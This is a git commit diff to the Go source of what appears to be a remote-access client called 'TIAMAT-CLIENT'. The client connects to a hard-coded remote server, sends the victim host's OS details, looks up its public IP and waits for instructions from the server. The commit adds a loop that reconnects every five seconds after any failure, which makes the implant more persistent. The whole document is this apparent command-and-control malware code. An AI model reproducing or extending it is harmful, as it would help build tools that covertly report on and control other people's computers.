Allow re-connecting to server on any fatal errors

This commit is contained in:
raul 2024-06-10 08:55:06 +02:00
parent 43d719c991
commit 974ed073f5
1 changed files with 18 additions and 3 deletions

21
main.go
View File

@ -12,6 +12,7 @@ import (
"os/user" "os/user"
"runtime" "runtime"
"strings" "strings"
"time"
) )
type Client struct { type Client struct {
@ -41,17 +42,29 @@ var (
) )
func main() { func main() {
log.SetPrefix("[TIAMAT-CLIENT] ")
for {
if err := start(); err != nil {
log.Print(err)
}
time.Sleep(time.Second * 5)
}
}
func start() error {
conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort) conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
if err != nil { if err != nil {
log.Fatalf("Error happened connecting to server: %v\n", err) e := fmt.Errorf("Error happened connecting to server: %v\n", err)
return e
} }
defer conn.Close() defer conn.Close()
if err := sendOSInfo(conn); err != nil { if err := sendOSInfo(conn); err != nil {
log.Fatal(err) return err
} }
for { for {
if err := awaitInstructions(conn); err != nil { if err := awaitInstructions(conn); err != nil {
log.Fatalf("Error happened awaiting instructions: %v\n", err) e := fmt.Errorf("Error happened awaiting instructions: %v\n", err)
return e
} }
} }
} }
@ -59,10 +72,12 @@ func main() {
func getIP() (string, error) { func getIP() (string, error) {
res, err := http.Get("https://ip.bulgariu.xyz") res, err := http.Get("https://ip.bulgariu.xyz")
if err != nil { if err != nil {
log.Printf("Error happened GETting IP: %v\n", err)
return "", nil return "", nil
} }
resbody, err := io.ReadAll(res.Body) resbody, err := io.ReadAll(res.Body)
if err != nil { if err != nil {
log.Printf("Error happened reading IP body: %v\n", err)
return "", nil return "", nil
} }
ip := strings.TrimRight(string(resbody), "\n") ip := strings.TrimRight(string(resbody), "\n")